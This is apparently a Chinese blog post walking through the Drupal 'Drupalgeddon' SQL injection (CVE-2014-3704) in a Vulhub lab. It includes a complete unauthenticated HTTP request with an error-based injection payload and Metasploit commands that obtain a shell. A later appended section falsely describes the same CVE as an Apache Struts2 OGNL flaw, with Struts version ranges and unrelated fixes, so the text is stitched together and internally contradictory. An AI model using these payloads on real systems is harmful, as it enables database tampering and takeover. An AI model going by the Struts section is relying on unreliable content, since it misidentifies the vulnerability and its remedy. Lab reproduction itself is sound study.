Vulhub之“Drupalgeddon” SQL注入漏洞(CVE-2014-3704)

简介

Drupal 是一款用量庞大的CMS,其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞,攻击者可以执行任意SQL语句,插入、修改管理员信息,甚至执行任意代码。

 

 

漏洞环境

进入对应的路径:  vulhub-master/drupal/CVE-2014-3704

执行如下命令启动Drupal 7.31环境:

docker-compose up -d

环境启动后,访问http://ip:8080即可看到Drupal的安装页面,使用默认配置安装即可。

其中,Mysql数据库名填写drupal,数据库用户名、密码为root,地址为mysql

安装成功之后,  访问主页:

 

 

漏洞复现

该漏洞无需认证,发送如下数据包即可执行恶意SQL语句:

POST /?q=node&destination=node HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

name[0 or updatexml(0,concat(0xa,database()),0)%23]=bob&name[0]=a&pass=bug&form_build_id=form-hUM-lGJvIc5NEmlo46nu_0Z7cOfyfmk6BQjvIRD4goA&form_id=user_login_block
&op=Log in

报错注入成功。

 

 

msf工具利用

搜索drupal漏洞:

search drupal

 查看漏洞信息:

show info exploit/multi/http/drupal_drupageddon

使用CVE-2014-3704对应的攻击模块:

use exploit/multi/http/drupal_drupageddon

设置Drupal网站路径:

set targeturi /

所定攻击的ip和端口:

set RHOSTS 192.168.10.10

set rport 8080

发动攻击,  拿到shell:

exploit

 

### CVE-2014-3704 漏洞详情 CVE-2014-3704 是 Apache Struts2 中的一个严重漏洞,允许攻击者通过构造特定的 HTTP 请求来执行任意代码。此漏洞源于 Struts2 对用户输入参数处理不当,在某些情况下未能正确转义特殊字符,从而使得恶意用户能够注入并执行 OGNL 表达式。 具体来说,当应用程序使用了带有通配符模式匹配功能的动作映射时,如果这些动作类中的方法接收未经验证或过滤的外部数据作为参数,则可能存在安全隐患[^1]。 ### 影响范围 受到影响的主要版本包括但不限于: - Apache Struts 2.0.0 - 2.3.16.1 (官方已发布修复版本) ### 安全风险评估 成功利用该漏洞可以导致未经授权的操作系统命令执行,进而完全控制目标Web应用及其所在主机。因此对于部署有Apache Struts框架的企业级网站而言,这是一个非常高危的安全威胁。 ### 修复方案 为了防止此类攻击的发生,建议采取如下措施之一进行防护: #### 更新至安全版本 最直接有效的方法就是尽快把Struts升级到不受影响的新版库中去。例如,可以从官方网站获取最新的稳定发行版,并按照说明文档完成迁移工作。 ```bash # 假设当前项目基于Maven构建 mvn dependency:update ``` #### 应用补丁程序 如果因为业务连续性的原因暂时无法立即切换整个依赖树的话,也可以考虑单独打上针对这个问题设计好的热修补丁包。 #### 修改配置文件 调整`struts.xml`或其他相关设置以禁用动态方法调用特性(DMI),这可以在一定程度上缓解潜在的风险暴露程度。 ```xml <constant name="struts.enable.DynamicMethodInvocation" value="false"/> ``` 另外还需要加强对传入HTTP请求的数据校验力度,确保所有可能成为OGNL表达式的字符串都被严格净化过才交给后台逻辑层处理。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值